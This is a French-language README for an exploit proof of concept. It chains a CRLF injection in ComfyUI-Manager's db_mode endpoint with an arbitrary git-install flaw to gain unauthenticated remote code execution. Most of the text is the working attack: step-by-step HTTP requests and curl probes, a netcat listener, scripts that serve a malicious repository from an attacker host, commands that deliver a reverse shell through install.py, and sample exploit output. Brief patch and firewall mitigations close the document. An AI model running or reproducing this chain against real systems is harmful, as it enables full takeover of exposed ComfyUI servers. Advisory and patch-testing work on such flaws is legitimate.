
Preuve de concept d'exploit enchaînant une injection CRLF dans le point de terminaison de configuration de ComfyUI-Manager avec une installation git arbitraire pour obtenir une exécution de code à distance non authentifiée.
Sévérité : Critique (CVSS 9.8) Affecté : ComfyUI-Manager < 3.39.2 et 4.0.0 - 4.0.4 Corrigé dans : ComfyUI-Manager 3.39.2 / 4.0.5 Chaîné avec : CVE-2025-67303 (Installation Git arbitraire -> Exécution de code)
ComfyUI-Manager expose un endpoint /api/manager/db_mode qui accepte un paramètre de requête value et l'écrit directement dans config.ini via le module configparser de Python.
La vulnérabilité est une injection de retour chariot nu (\r / %0D) :
configparser sérialise la valeur telle quelle — \r est stocké tel quel dans le fichier.\r nu comme un terminateur de ligne, divisant une valeur en deux directives INI distinctes.configparser avec strict=False (valeur par défaut de ComfyUI-Manager) accepte les clés dupliquées et utilise la dernière. Le security_level = weak injecté écrase la valeur légitime.Après un redémarrage, le paramètre falsifié prend effet, désactivant le contrôle d'authentification sur /api/customnode/install/git_url (CVE-2025-67303). Cet endpoint clone un dépôt git arbitraire et exécute immédiatement install.py depuis celui-ci en tant que sous-processus — donnant à un attaquant non authentifié une exécution de code complète.
Étape 1 — Injecter un CR nu dans l'endpoint de configuration
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
config.ini sur le disque après écriture :
db_mode = cache\r
security_level = weak <- injecté via %0D
Étape 2 — Redémarrer le Manager pour recharger la configuration falsifiée
GET /api/manager/reboot
Le Manager relit config.ini ; les universal newlines divisent la valeur ;
dernière clé gagnante -> security_level = weak
Étape 3 — Vérifier le contrôle d'accès (interroger jusqu'à ce que 403 devienne 400)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = contrôle toujours fermé
400 = contrôle ouvert, security_level=weak confirmé
Étape 4 — Déclencher l'installation depuis un dépôt git malveillant (CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTAQUANT:9099/alg-upscaler.git
Le Manager effectue :
git clone http://ATTAQUANT:9099/alg-upscaler.git
python install.py <- le reverse shell s'exécute ici
| Fichier | Objectif |
|---|---|
setup_evil_repo.sh | Construire le dépôt git malveillant et le servir via HTTP |
exploit_ad15.sh | Exécuter la chaîne complète : injection CRLF -> redémarrage -> vérification -> déclenchement |
autopwn.py | Alternative Python tout-en-un (construit le dépôt + exécute la chaîne complète) |
Étape 1 — Empreinte de version
curl -s http://TARGET:8188/api/manager/version
# Vulnérable : "3.39.1" / "4.0.3"
# Corrigé : "3.39.2" / "4.0.5"
Étape 2 — Confirmer que l'endpoint CRLF accepte des valeurs
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> l'endpoint existe et est accessible en écriture
Étape 3 — Sonder le contrôle d'accès à l'installation
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> contrôle fermé (configuration par défaut, la cible est injectable)
# 400 -> contrôle déjà ouvert (passer la Phase 1)
============================================================
CVE-2026-22777 + CVE-2025-67303 Chaîne complète
============================================================
Cible : http://192.168.1.10:8188
Attaquant : 10.10.14.1:4444
Dépôt malv. : http://10.10.14.1:9099/alg-upscaler.git
[*] Phase 0 : Empreinte de version
Version de ComfyUI-Manager : "3.39.1" <- vulnérable
[*] Phase 1 : Injection CRLF -> security_level = weak
[+] Injection envoyée (HTTP 200)
config.ini contient maintenant :
db_mode = cache\r
security_level = weak <- injecté via CR nu
[*] Phase 2 : Déclencher le redémarrage
[+] Requête de redémarrage envoyée -- attente de 30s pour le redémarrage du Manager...
[*] Phase 3 : Vérifier le contrôle de sécurité
Tentative 1 : HTTP 403 <- toujours en redémarrage
Tentative 2 : HTTP 403
Tentative 3 : HTTP 400 <- contrôle ouvert
[+] Contrôle OUVERT -- security_level=weak est actif
[*] Phase 4 : Vérification de l'accessibilité du dépôt git malveillant
[+] Dépôt malveillant accessible (HTTP 200)
[*] Phase 5 : Déclenchement de l'installation git (CVE-2025-67303)
ComfyUI-Manager va :
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd dans le répertoire cloné
3. python install.py <- le reverse shell s'exécute ici
Le curl de la Phase 5 se bloque — le reverse shell arrive sur nc -lvnp 4444.
| PoC Vulhub | Ce PoC | |
|---|---|---|
install.py | touch /tmp/success (preuve d'exécution uniquement) | Reverse shell Python vers l'attaquant |
| Résultat | Pas de shell interactif | Shell interactif complet |
| PoC Vulhub | Ce PoC | |
|---|---|---|
| Langage | Fichier Python unique | Bash, 2 scripts séparés |
| Nettoyage | tempfile.TemporaryDirectory (supprimé automatiquement sur Ctrl+C) | Manuel (reste sur le disque) |
| Nom du dépôt | Aléatoire (ex. evil-node-a1b2c3) | Fixe : alg-upscaler |
| PoC Vulhub | Ce PoC | |
|---|---|---|
| CVE-2026-22777 (injection CRLF) | Non inclus | Dans exploit_ad15.sh Phase 1 |
| Redémarrage + vérification du contrôle | Non inclus | Attend 30s puis interroge 403->400 |
| Déclenchement de l'installation | curl manuel | Automatisé en Phase 5 |
Étape 1 — Configurer le dépôt malveillant et l'écouteur (deux terminaux)
# Terminal 1 — écouteur
nc -lvnp 4444
# Terminal 2 — construire et servir le dépôt malveillant
bash setup_evil_repo.sh 10.10.14.1 4444
Étape 2 — Exécuter la chaîne d'exploitation complète
# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
Le shell arrive dans le Terminal 1 après la Phase 5.
Alternative — Python tout-en-un
# Commande aveugle
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
Mise à niveau (recommandée) : ComfyUI-Manager 3.39.2 ou 4.0.5+.
Le correctif supprime les \r et \n avant d'écrire tout paramètre de requête dans config.ini.
Atténuations réseau (si le correctif n'est pas immédiat) :
8188 au niveau du pare-feu — ComfyUI n'est pas conçu pour une exposition publique./api/manager/* et /api/customnode/*.config.ini en lecture seule : chmod 444 config.ini.